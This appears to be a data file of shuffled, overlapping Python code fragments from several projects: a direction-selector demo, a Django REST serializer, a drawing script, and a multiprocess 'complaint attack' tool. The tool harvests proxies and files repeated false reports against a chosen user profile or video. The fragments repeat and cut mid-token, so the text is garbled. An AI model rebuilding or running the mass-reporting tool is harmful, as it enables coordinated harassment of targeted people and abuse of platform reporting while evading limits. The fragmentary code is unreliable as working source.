D.SW: [0.5,2.5],", "= { D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5],", "= Enum ('Directions','N NE E SE S SW W NW')", "functools import partial def say (something): print (''.join (('Me: \"',something,'\"')))", "(say,'easy') window.actions[D.SW] = partial (say,'suess whest') window.actions[D.S] = partial (say,'sissy')", "Window D = Enum ('Directions','N NE E SE S SW", "D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size = 100 window_size =", "partial (say,'northwast') window.actions[D.N] = partial (say,'north') window.actions[D.NE] = partial (say,'neorthest')", "window.actions[D.NE] = partial (say,'neorthest') window.actions[D.W] = partial (say,'western') window.actions[D.E] =", "whest') window.actions[D.S] = partial (say,'sissy') window.actions[D.SE] = partial (say,'seoul') window.go", "say (something): print (''.join (('Me: \"',something,'\"'))) window.actions[D.NW] = partial (say,'northwast')", "(say,'suess whest') window.actions[D.S] = partial (say,'sissy') window.actions[D.SE] = partial (say,'seoul')", "import Window D = Enum ('Directions','N NE E SE S", "E SE S SW W NW') selector_map = { D.NW:", "{ D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5], D.E:", "[1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5], D.E: [3,1.5], D.SW: [0.5,2.5], D.S:", "('Directions','N NE E SE S SW W NW') selector_map =", "W NW') selector_map = { D.NW: [0.5,0.5], D.N: [1.5,0], D.NE:", "= partial (say,'western') window.actions[D.E] = partial (say,'easy') window.actions[D.SW] = partial", "partial (say,'western') window.actions[D.E] = partial (say,'easy') window.actions[D.SW] = partial (say,'suess", "= partial (say,'neorthest') window.actions[D.W] = partial (say,'western') window.actions[D.E] = partial" ]
[ "serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255, required=False) def", "= serializers.CharField() slug_name = serializers.SlugField() rides_taken = serializers.IntegerField() rides_offered =", "cride.circles.models import Circle class CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name =", "serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255, required=False) def create(self, data): return", "Circle class CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name = serializers.SlugField() rides_taken", "import Circle class CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name = serializers.SlugField()", "= serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40,", "rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name =", "rest_framework.validators import UniqueValidator from cride.circles.models import Circle class CircleSerializer(serializers.Serializer): name", "validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255, required=False) def create(self, data): return Circle.objects.create(**data)", "= serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255, required=False)", "class CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name = serializers.SlugField() rides_taken =", "rest_framework import serializers from rest_framework.validators import UniqueValidator from cride.circles.models import", "serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name", "serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())])", "UniqueValidator from cride.circles.models import Circle class CircleSerializer(serializers.Serializer): name = serializers.CharField()", "= serializers.SlugField() rides_taken = serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit =", "serializers.SlugField() rides_taken = serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField()", "serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140) slug_name", "= serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140)", "<gh_stars>0 from rest_framework import serializers from rest_framework.validators import UniqueValidator from", "from rest_framework.validators import UniqueValidator from cride.circles.models import Circle class CircleSerializer(serializers.Serializer):", "rides_taken = serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField() class", "members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140) slug_name =", "from rest_framework import serializers from rest_framework.validators import UniqueValidator from cride.circles.models", "name = serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255,", "slug_name = serializers.SlugField() rides_taken = serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit", "import UniqueValidator from cride.circles.models import Circle class CircleSerializer(serializers.Serializer): name =", "import serializers from rest_framework.validators import UniqueValidator from cride.circles.models import Circle", "from cride.circles.models import Circle class CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name", "name = serializers.CharField() slug_name = serializers.SlugField() rides_taken = serializers.IntegerField() rides_offered", "CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about =", "= serializers.IntegerField() rides_offered = serializers.IntegerField() members_limit = serializers.IntegerField() class CreateCircleSerializer(serializers.Serializer):", "serializers.CharField() slug_name = serializers.SlugField() rides_taken = serializers.IntegerField() rides_offered = serializers.IntegerField()", "serializers from rest_framework.validators import UniqueValidator from cride.circles.models import Circle class", "= serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255, required=False) def create(self, data):", "class CreateCircleSerializer(serializers.Serializer): name = serializers.CharField(max_length=140) slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about", "slug_name = serializers.CharField(max_length=40, validators=[UniqueValidator(queryset=Circle.objects.all())]) about = serializers.CharField(max_length=255, required=False) def create(self,", "CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name = serializers.SlugField() rides_taken = serializers.IntegerField()" ]
[ "import _dictdraw, sys d = {} surface = _dictdraw.draw_dictionary(d, [4])", "<gh_stars>10-100 import _dictdraw, sys d = {} surface = _dictdraw.draw_dictionary(d,", "_dictdraw, sys d = {} surface = _dictdraw.draw_dictionary(d, [4]) surface.write_to_png(sys.argv[1])" ]
[ "chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Video complaint attack is on!\\n\")", "ret == \"n\"): print_status(\"Please have a maximum of 50 proxies", "import print_status from libs.utils import parse_proxy_file from libs.proxy_harvester import find_proxies", "ret = ask_question(\"Would you like to use a proxy? [Y", "from libs.check_modules import check_modules from sys import exit from os", "proxy list\") proxies = parse_proxy_file(file_path) else: print_error(\"Answer not understood, exiting!\")", "args=(username, [],)) p.start() print_status(str(k + 1) + \". Transaction Opened!\")", "the internet? [Y / N]\") if (ret == \"Y\" or", "proxy found!\\n\") elif (ret == \"N\" or ret == \"n\"):", "libs.attack import report_video_attack from multiprocessing import Process from colorama import", "range(10): report_profile_attack(username, None) return for proxy in proxy_list: report_profile_attack(username, proxy)", "== 5): print() return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Video", "(ret == \"N\" or ret == \"n\"): pass else: print_error(\"Answer", "print(\"\\n\\n\" + Fore.RED + \"[*] Program is closing!\") print(Style.RESET_ALL) _exit(0)", "exit(0) if (int(report_choice) > 2 or int(report_choice) == 0): print_error(\"The", "1 def main(): print_success(\"Modules loaded!\\n\") ret = ask_question(\"Would you like", "person you want to report\") print(Style.RESET_ALL) if (len(proxies) == 0):", "lst.\"\"\" for i in range(0, len(lst), n): yield lst[i:i +", "in a file!\") file_path = ask_question(\"Enter the path to your", "elif (int(report_choice) == 2): video_attack(proxies) if __name__ == \"__main__\": print_logo()", "understood.\") exit(0) if (int(report_choice) == 1): profile_attack(proxies) elif (int(report_choice) ==", "import find_proxies from libs.attack import report_profile_attack from libs.attack import report_video_attack", "_ in range(10): report_profile_attack(username, None) return for proxy in proxy_list:", "report_video_attack(video_url, proxy) def video_attack(proxies): video_url = ask_question(\"Enter the link of", "want to report\") print(Style.RESET_ALL) if (len(proxies) == 0): for k", "import print_error from libs.utils import ask_question from libs.utils import print_status", "if (k == 5): print() i = i + 1", "print() i = i + 1 def profile_attack(proxies): username =", "1): profile_attack(proxies) elif (int(report_choice) == 2): video_attack(proxies) if __name__ ==", "ask_question(\"Enter the path to your proxy list\") proxies = parse_proxy_file(file_path)", "None) return for proxy in proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies):", "use a proxy? [Y / N]\") proxies = [] if", "collect your proxies from the internet? [Y / N]\") if", "print_status(\"1 - Report Profile.\") print_status(\"2 - Report a video.\") report_choice", "video.\") report_choice = ask_question(\"Please select the complaint method\") print(\"\") if", "complaint method\") print(\"\") if (report_choice.isdigit() == False): print_error(\"The answer is", "1 for proxy_list in chunk: p = Process(target=profile_attack_process, args=(username, proxy_list,))", "maximum of 50 proxies in a file!\") file_path = ask_question(\"Enter", "\"Y\" or ret == \"y\"): ret = ask_question(\"Would you like", "for proxy in proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies): video_url =", "ret == \"n\"): pass else: print_error(\"Answer not understood, exiting!\") exit()", "5): print() i = i + 1 def profile_attack(proxies): username", "for proxy_list in chunk: p = Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start()", "print(\"\") print_status(\"Profile complaint attack is starting!\\n\") i = 1 for", "Style def chunks(lst, n): \"\"\"Yield successive n-sized chunks from lst.\"\"\"", "args=(video_url, [],)) p.start() print_status(str(k + 1) + \". Transaction Opened!\")", "import path from libs.logo import print_logo from libs.utils import print_success", "chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Profile complaint attack is starting!\\n\")", "50 proxies in a file!\") file_path = ask_question(\"Enter the path", "(int(report_choice) == 1): profile_attack(proxies) elif (int(report_choice) == 2): video_attack(proxies) if", "= ask_question(\"Enter the username of the person you want to", "ask_question from libs.utils import print_status from libs.utils import parse_proxy_file from", "the Internet! This may take a while.\\n\") proxies = find_proxies()", "\"Y\" or ret == \"y\"): print_status(\"Gathering proxy from the Internet!", "= ask_question(\"Enter the path to your proxy list\") proxies =", "(int(report_choice) == 2): video_attack(proxies) if __name__ == \"__main__\": print_logo() try:", "proxy) def video_attack(proxies): video_url = ask_question(\"Enter the link of the", "print_success from libs.utils import print_error from libs.utils import ask_question from", "answer is not understood.\") exit(0) if (int(report_choice) > 2 or", "\"n\"): print_status(\"Please have a maximum of 50 proxies in a", "find_proxies from libs.attack import report_profile_attack from libs.attack import report_video_attack from", "p = Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i) + \". Transaction", "a maximum of 50 proxies in a file!\") file_path =", "1 def profile_attack(proxies): username = ask_question(\"Enter the username of the", "== 2): video_attack(proxies) if __name__ == \"__main__\": print_logo() try: main()", "print(\"\") if (report_choice.isdigit() == False): print_error(\"The answer is not understood.\")", "you like to collect your proxies from the internet? [Y", "\"\"\"Yield successive n-sized chunks from lst.\"\"\" for i in range(0,", "0): for _ in range(10): report_profile_attack(username, None) return for proxy", "list\") proxies = parse_proxy_file(file_path) else: print_error(\"Answer not understood, exiting!\") exit()", "p = Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k + 1) +", "+ 1) + \". Transaction Opened!\") return chunk = list(chunks(proxies,", "== 0): for k in range(5): p = Process(target=video_attack_process, args=(video_url,", "successive n-sized chunks from lst.\"\"\" for i in range(0, len(lst),", "pass else: print_error(\"Answer not understood, exiting!\") exit() print(\"\") print_status(\"1 -", "= Process(target=profile_attack_process, args=(username, [],)) p.start() print_status(str(k + 1) + \".", "may take a while.\\n\") proxies = find_proxies() elif (ret ==", "or ret == \"y\"): ret = ask_question(\"Would you like to", "(ret == \"Y\" or ret == \"y\"): print_status(\"Gathering proxy from", "0): for _ in range(10): report_video_attack(video_url, None) return for proxy", "\". Transaction Opened!\") if (k == 5): print() i =", "main(): print_success(\"Modules loaded!\\n\") ret = ask_question(\"Would you like to use", "the person you want to report\") print(Style.RESET_ALL) if (len(proxies) ==", "from libs.utils import print_status from libs.utils import parse_proxy_file from libs.proxy_harvester", "print_error(\"The answer is not understood.\") exit(0) if (int(report_choice) > 2", "Back, Style def chunks(lst, n): \"\"\"Yield successive n-sized chunks from", "video_attack(proxies) if __name__ == \"__main__\": print_logo() try: main() print(Style.RESET_ALL) except", "sys import exit from os import _exit check_modules() from os", "to use a proxy? [Y / N]\") proxies = []", "\"y\"): ret = ask_question(\"Would you like to collect your proxies", "from colorama import Fore, Back, Style def chunks(lst, n): \"\"\"Yield", "for proxy_list in chunk: p = Process(target=profile_attack_process, args=(username, proxy_list,)) p.start()", "Opened!\") if (k == 5): print() return chunk = list(chunks(proxies,", "understood, exiting!\") exit() print(\"\") print_status(\"1 - Report Profile.\") print_status(\"2 -", "from libs.logo import print_logo from libs.utils import print_success from libs.utils", "method\") print(\"\") if (report_choice.isdigit() == False): print_error(\"The answer is not", "proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\") if (k ==", "proxies = parse_proxy_file(file_path) else: print_error(\"Answer not understood, exiting!\") exit() print_success(str(len(proxies))", "in range(10): report_video_attack(video_url, None) return for proxy in proxy_list: report_video_attack(video_url,", "(len(proxy_list) == 0): for _ in range(10): report_profile_attack(username, None) return", "range(0, len(lst), n): yield lst[i:i + n] def profile_attack_process(username, proxy_list):", "+ \". Transaction Opened!\") if (k == 5): print() return", "print_logo() try: main() print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED +", "- Report Profile.\") print_status(\"2 - Report a video.\") report_choice =", "p.start() print_status(str(k + 1) + \". Transaction Opened!\") if (k", "answer is not understood.\") exit(0) if (int(report_choice) == 1): profile_attack(proxies)", "return for proxy in proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list):", "like to collect your proxies from the internet? [Y /", "print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED + \"[*] Program is", "username = ask_question(\"Enter the username of the person you want", "not understood.\") exit(0) if (int(report_choice) > 2 or int(report_choice) ==", "main() print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED + \"[*] Program", "proxies = [] if (ret == \"Y\" or ret ==", "proxy_list in chunk: p = Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i)", "loaded!\\n\") ret = ask_question(\"Would you like to use a proxy?", "print_status from libs.utils import parse_proxy_file from libs.proxy_harvester import find_proxies from", "import check_modules from sys import exit from os import _exit", "import print_logo from libs.utils import print_success from libs.utils import print_error", "from sys import exit from os import _exit check_modules() from", "= ask_question(\"Please select the complaint method\") print(\"\") if (report_choice.isdigit() ==", "chunk: p = Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i) + \".", "0): print_error(\"The answer is not understood.\") exit(0) if (int(report_choice) ==", "libs.utils import print_error from libs.utils import ask_question from libs.utils import", "from libs.utils import print_success from libs.utils import print_error from libs.utils", "2 or int(report_choice) == 0): print_error(\"The answer is not understood.\")", "print_status(\"2 - Report a video.\") report_choice = ask_question(\"Please select the", "the link of the video you want to report\") print(Style.RESET_ALL)", "proxy? [Y / N]\") proxies = [] if (ret ==", "a proxy? [Y / N]\") proxies = [] if (ret", "report_choice = ask_question(\"Please select the complaint method\") print(\"\") if (report_choice.isdigit()", "from os import _exit check_modules() from os import path from", "understood, exiting!\") exit() print_success(str(len(proxies)) + \" Number of proxy found!\\n\")", "multiprocessing import Process from colorama import Fore, Back, Style def", "is not understood.\") exit(0) if (int(report_choice) == 1): profile_attack(proxies) elif", "from libs.attack import report_video_attack from multiprocessing import Process from colorama", "the path to your proxy list\") proxies = parse_proxy_file(file_path) else:", "i in range(0, len(lst), n): yield lst[i:i + n] def", "for _ in range(10): report_profile_attack(username, None) return for proxy in", "(int(report_choice) > 2 or int(report_choice) == 0): print_error(\"The answer is", "parse_proxy_file(file_path) else: print_error(\"Answer not understood, exiting!\") exit() print_success(str(len(proxies)) + \"", "attack is on!\\n\") i = 1 for proxy_list in chunk:", "False): print_error(\"The answer is not understood.\") exit(0) if (int(report_choice) >", "== 1): profile_attack(proxies) elif (int(report_choice) == 2): video_attack(proxies) if __name__", "libs.proxy_harvester import find_proxies from libs.attack import report_profile_attack from libs.attack import", "ask_question(\"Would you like to use a proxy? [Y / N]\")", "range(10): report_video_attack(video_url, None) return for proxy in proxy_list: report_video_attack(video_url, proxy)", "print_success(\"Modules loaded!\\n\") ret = ask_question(\"Would you like to use a", "Report a video.\") report_choice = ask_question(\"Please select the complaint method\")", "[] if (ret == \"Y\" or ret == \"y\"): ret", "print_status(\"Please have a maximum of 50 proxies in a file!\")", "== \"Y\" or ret == \"y\"): ret = ask_question(\"Would you", "Process from colorama import Fore, Back, Style def chunks(lst, n):", "proxy from the Internet! This may take a while.\\n\") proxies", "= ask_question(\"Enter the link of the video you want to", "proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list): if (len(proxy_list) == 0):", "ask_question(\"Please select the complaint method\") print(\"\") if (report_choice.isdigit() == False):", "from libs.utils import parse_proxy_file from libs.proxy_harvester import find_proxies from libs.attack", "libs.utils import parse_proxy_file from libs.proxy_harvester import find_proxies from libs.attack import", "i = i + 1 def main(): print_success(\"Modules loaded!\\n\") ret", "print_logo from libs.utils import print_success from libs.utils import print_error from", "of the video you want to report\") print(Style.RESET_ALL) if (len(proxies)", "exiting!\") exit() print_success(str(len(proxies)) + \" Number of proxy found!\\n\") elif", "in range(0, len(lst), n): yield lst[i:i + n] def profile_attack_process(username,", "report_video_attack(video_url, None) return for proxy in proxy_list: report_video_attack(video_url, proxy) def", "(k == 5): print() i = i + 1 def", "= [] if (ret == \"Y\" or ret == \"y\"):", "report_video_attack from multiprocessing import Process from colorama import Fore, Back,", "None) return for proxy in proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url,", "= Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\")", "== \"Y\" or ret == \"y\"): print_status(\"Gathering proxy from the", "in proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies): video_url = ask_question(\"Enter the", "you like to use a proxy? [Y / N]\") proxies", "== \"N\" or ret == \"n\"): print_status(\"Please have a maximum", "(report_choice.isdigit() == False): print_error(\"The answer is not understood.\") exit(0) if", "video_attack_process(video_url, proxy_list): if (len(proxy_list) == 0): for _ in range(10):", "n): \"\"\"Yield successive n-sized chunks from lst.\"\"\" for i in", "print_status(\"Video complaint attack is on!\\n\") i = 1 for proxy_list", "/ N]\") proxies = [] if (ret == \"Y\" or", "report_profile_attack(username, None) return for proxy in proxy_list: report_profile_attack(username, proxy) def", "link of the video you want to report\") print(Style.RESET_ALL) if", "+ \" Number of proxy found!\\n\") elif (ret == \"N\"", "ret == \"y\"): print_status(\"Gathering proxy from the Internet! This may", "10)) print(\"\") print_status(\"Video complaint attack is on!\\n\") i = 1", "video you want to report\") print(Style.RESET_ALL) if (len(proxies) == 0):", "(k == 5): print() return chunk = list(chunks(proxies, 10)) print(\"\")", "else: print_error(\"Answer not understood, exiting!\") exit() print(\"\") print_status(\"1 - Report", "\"__main__\": print_logo() try: main() print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED", "chunks from lst.\"\"\" for i in range(0, len(lst), n): yield", "you want to report\") print(Style.RESET_ALL) if (len(proxies) == 0): for", "is starting!\\n\") i = 1 for proxy_list in chunk: p", "if (k == 5): print() return chunk = list(chunks(proxies, 10))", "profile_attack_process(username, proxy_list): if (len(proxy_list) == 0): for _ in range(10):", "parse_proxy_file from libs.proxy_harvester import find_proxies from libs.attack import report_profile_attack from", "yield lst[i:i + n] def profile_attack_process(username, proxy_list): if (len(proxy_list) ==", "p = Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i) + \". Transaction", "def main(): print_success(\"Modules loaded!\\n\") ret = ask_question(\"Would you like to", "proxy in proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies): video_url = ask_question(\"Enter", "= list(chunks(proxies, 10)) print(\"\") print_status(\"Profile complaint attack is starting!\\n\") i", "/ N]\") if (ret == \"Y\" or ret == \"y\"):", "return for proxy in proxy_list: report_video_attack(video_url, proxy) def video_attack(proxies): video_url", "== 0): for _ in range(10): report_profile_attack(username, None) return for", "[],)) p.start() print_status(str(k + 1) + \". Transaction Opened!\") return", "if (int(report_choice) == 1): profile_attack(proxies) elif (int(report_choice) == 2): video_attack(proxies)", "Opened!\") if (k == 5): print() i = i +", "to your proxy list\") proxies = parse_proxy_file(file_path) else: print_error(\"Answer not", "KeyboardInterrupt: print(\"\\n\\n\" + Fore.RED + \"[*] Program is closing!\") print(Style.RESET_ALL)", "args=(video_url, proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\") if (k", "like to use a proxy? [Y / N]\") proxies =", "python3 from libs.check_modules import check_modules from sys import exit from", "print_error from libs.utils import ask_question from libs.utils import print_status from", "range(5): p = Process(target=profile_attack_process, args=(username, [],)) p.start() print_status(str(k + 1)", "= i + 1 def main(): print_success(\"Modules loaded!\\n\") ret =", "print_error(\"Answer not understood, exiting!\") exit() print_success(str(len(proxies)) + \" Number of", "# coding=utf-8 #!/usr/bin/env python3 from libs.check_modules import check_modules from sys", "Profile.\") print_status(\"2 - Report a video.\") report_choice = ask_question(\"Please select", "not understood.\") exit(0) if (int(report_choice) == 1): profile_attack(proxies) elif (int(report_choice)", "\"N\" or ret == \"n\"): print_status(\"Please have a maximum of", "p.start() print_status(str(i) + \". Transaction Opened!\") if (k == 5):", "== 0): for k in range(5): p = Process(target=profile_attack_process, args=(username,", "the complaint method\") print(\"\") if (report_choice.isdigit() == False): print_error(\"The answer", "the username of the person you want to report\") print(Style.RESET_ALL)", "elif (ret == \"N\" or ret == \"n\"): print_status(\"Please have", "+ \". Transaction Opened!\") return chunk = list(chunks(proxies, 10)) print(\"\")", "exit(0) if (int(report_choice) == 1): profile_attack(proxies) elif (int(report_choice) == 2):", "== \"N\" or ret == \"n\"): pass else: print_error(\"Answer not", "a video.\") report_choice = ask_question(\"Please select the complaint method\") print(\"\")", "ask_question(\"Enter the link of the video you want to report\")", "0): for k in range(5): p = Process(target=profile_attack_process, args=(username, [],))", "Report Profile.\") print_status(\"2 - Report a video.\") report_choice = ask_question(\"Please", "\". Transaction Opened!\") return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Profile", "#!/usr/bin/env python3 from libs.check_modules import check_modules from sys import exit", "print(Style.RESET_ALL) if (len(proxies) == 0): for k in range(5): p", "import exit from os import _exit check_modules() from os import", "import report_profile_attack from libs.attack import report_video_attack from multiprocessing import Process", "proxies = find_proxies() elif (ret == \"N\" or ret ==", "have a maximum of 50 proxies in a file!\") file_path", "= ask_question(\"Would you like to use a proxy? [Y /", "== False): print_error(\"The answer is not understood.\") exit(0) if (int(report_choice)", "import ask_question from libs.utils import print_status from libs.utils import parse_proxy_file", "== \"y\"): print_status(\"Gathering proxy from the Internet! This may take", "from libs.attack import report_profile_attack from libs.attack import report_video_attack from multiprocessing", "os import _exit check_modules() from os import path from libs.logo", "(len(proxy_list) == 0): for _ in range(10): report_video_attack(video_url, None) return", "in range(5): p = Process(target=profile_attack_process, args=(username, [],)) p.start() print_status(str(k +", "for k in range(5): p = Process(target=video_attack_process, args=(video_url, [],)) p.start()", "= ask_question(\"Would you like to collect your proxies from the", "your proxies from the internet? [Y / N]\") if (ret", "proxy_list in chunk: p = Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i)", "= find_proxies() elif (ret == \"N\" or ret == \"n\"):", "== 5): print() i = i + 1 def profile_attack(proxies):", "def chunks(lst, n): \"\"\"Yield successive n-sized chunks from lst.\"\"\" for", "libs.utils import print_status from libs.utils import parse_proxy_file from libs.proxy_harvester import", "or int(report_choice) == 0): print_error(\"The answer is not understood.\") exit(0)", "== \"n\"): pass else: print_error(\"Answer not understood, exiting!\") exit() print(\"\")", "+ n] def profile_attack_process(username, proxy_list): if (len(proxy_list) == 0): for", "print_status(str(k + 1) + \". Transaction Opened!\") return chunk =", "libs.utils import ask_question from libs.utils import print_status from libs.utils import", "in chunk: p = Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i) +", "print_status(\"Gathering proxy from the Internet! This may take a while.\\n\")", "= Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k + 1) + \".", "len(lst), n): yield lst[i:i + n] def profile_attack_process(username, proxy_list): if", "Fore, Back, Style def chunks(lst, n): \"\"\"Yield successive n-sized chunks", "== 0): for _ in range(10): report_video_attack(video_url, None) return for", "def video_attack(proxies): video_url = ask_question(\"Enter the link of the video", "not understood, exiting!\") exit() print(\"\") print_status(\"1 - Report Profile.\") print_status(\"2", "i + 1 def main(): print_success(\"Modules loaded!\\n\") ret = ask_question(\"Would", "check_modules from sys import exit from os import _exit check_modules()", "import parse_proxy_file from libs.proxy_harvester import find_proxies from libs.attack import report_profile_attack", "in proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list): if (len(proxy_list) ==", "if (ret == \"Y\" or ret == \"y\"): print_status(\"Gathering proxy", "This may take a while.\\n\") proxies = find_proxies() elif (ret", "elif (ret == \"N\" or ret == \"n\"): pass else:", "+ 1) + \". Transaction Opened!\") if (k == 5):", "Transaction Opened!\") if (k == 5): print() return chunk =", "in range(5): p = Process(target=video_attack_process, args=(video_url, [],)) p.start() print_status(str(k +", "for i in range(0, len(lst), n): yield lst[i:i + n]", "args=(username, proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\") if (k", "exit from os import _exit check_modules() from os import path", "= 1 for proxy_list in chunk: p = Process(target=profile_attack_process, args=(username,", "import Fore, Back, Style def chunks(lst, n): \"\"\"Yield successive n-sized", "ask_question(\"Enter the username of the person you want to report\")", "_exit check_modules() from os import path from libs.logo import print_logo", "p.start() print_status(str(k + 1) + \". Transaction Opened!\") return chunk", "Transaction Opened!\") if (k == 5): print() i = i", "print_error(\"Answer not understood, exiting!\") exit() print(\"\") print_status(\"1 - Report Profile.\")", "lst[i:i + n] def profile_attack_process(username, proxy_list): if (len(proxy_list) == 0):", "print(\"\") print_status(\"Video complaint attack is on!\\n\") i = 1 for", "n-sized chunks from lst.\"\"\" for i in range(0, len(lst), n):", "proxy_list): if (len(proxy_list) == 0): for _ in range(10): report_profile_attack(username,", "(len(proxies) == 0): for k in range(5): p = Process(target=profile_attack_process,", "is on!\\n\") i = 1 for proxy_list in chunk: p", "5): print() return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Video complaint", "Internet! This may take a while.\\n\") proxies = find_proxies() elif", "or ret == \"n\"): pass else: print_error(\"Answer not understood, exiting!\")", "is not understood.\") exit(0) if (int(report_choice) > 2 or int(report_choice)", "print(\"\") print_status(\"1 - Report Profile.\") print_status(\"2 - Report a video.\")", "from the Internet! This may take a while.\\n\") proxies =", "print_error(\"The answer is not understood.\") exit(0) if (int(report_choice) == 1):", "libs.utils import print_success from libs.utils import print_error from libs.utils import", "proxies from the internet? [Y / N]\") if (ret ==", "print_status(str(i) + \". Transaction Opened!\") if (k == 5): print()", "complaint attack is on!\\n\") i = 1 for proxy_list in", "5): print() i = i + 1 def main(): print_success(\"Modules", "file!\") file_path = ask_question(\"Enter the path to your proxy list\")", "+ \". Transaction Opened!\") if (k == 5): print() i", "print_success(str(len(proxies)) + \" Number of proxy found!\\n\") elif (ret ==", "== \"y\"): ret = ask_question(\"Would you like to collect your", "import _exit check_modules() from os import path from libs.logo import", "take a while.\\n\") proxies = find_proxies() elif (ret == \"N\"", "on!\\n\") i = 1 for proxy_list in chunk: p =", "else: print_error(\"Answer not understood, exiting!\") exit() print_success(str(len(proxies)) + \" Number", "proxy_list): if (len(proxy_list) == 0): for _ in range(10): report_video_attack(video_url,", "1) + \". Transaction Opened!\") if (k == 5): print()", "int(report_choice) == 0): print_error(\"The answer is not understood.\") exit(0) if", "list(chunks(proxies, 10)) print(\"\") print_status(\"Profile complaint attack is starting!\\n\") i =", "i = 1 for proxy_list in chunk: p = Process(target=profile_attack_process,", "proxy in proxy_list: report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list): if (len(proxy_list)", "find_proxies() elif (ret == \"N\" or ret == \"n\"): print_status(\"Please", "or ret == \"y\"): print_status(\"Gathering proxy from the Internet! This", "__name__ == \"__main__\": print_logo() try: main() print(Style.RESET_ALL) except KeyboardInterrupt: print(\"\\n\\n\"", "report_profile_attack(username, proxy) def video_attack_process(video_url, proxy_list): if (len(proxy_list) == 0): for", "Opened!\") return chunk = list(chunks(proxies, 10)) print(\"\") print_status(\"Profile complaint attack", "from libs.utils import print_error from libs.utils import ask_question from libs.utils", "a while.\\n\") proxies = find_proxies() elif (ret == \"N\" or", "if (int(report_choice) > 2 or int(report_choice) == 0): print_error(\"The answer", "from the internet? [Y / N]\") if (ret == \"Y\"", "colorama import Fore, Back, Style def chunks(lst, n): \"\"\"Yield successive", "ret == \"y\"): ret = ask_question(\"Would you like to collect", "understood.\") exit(0) if (int(report_choice) > 2 or int(report_choice) == 0):", "chunk: p = Process(target=video_attack_process, args=(video_url, proxy_list,)) p.start() print_status(str(i) + \".", "0): for k in range(5): p = Process(target=video_attack_process, args=(video_url, [],))", "a file!\") file_path = ask_question(\"Enter the path to your proxy", "Process(target=profile_attack_process, args=(username, proxy_list,)) p.start() print_status(str(i) + \". Transaction Opened!\") if", "k in range(5): p = Process(target=profile_attack_process, 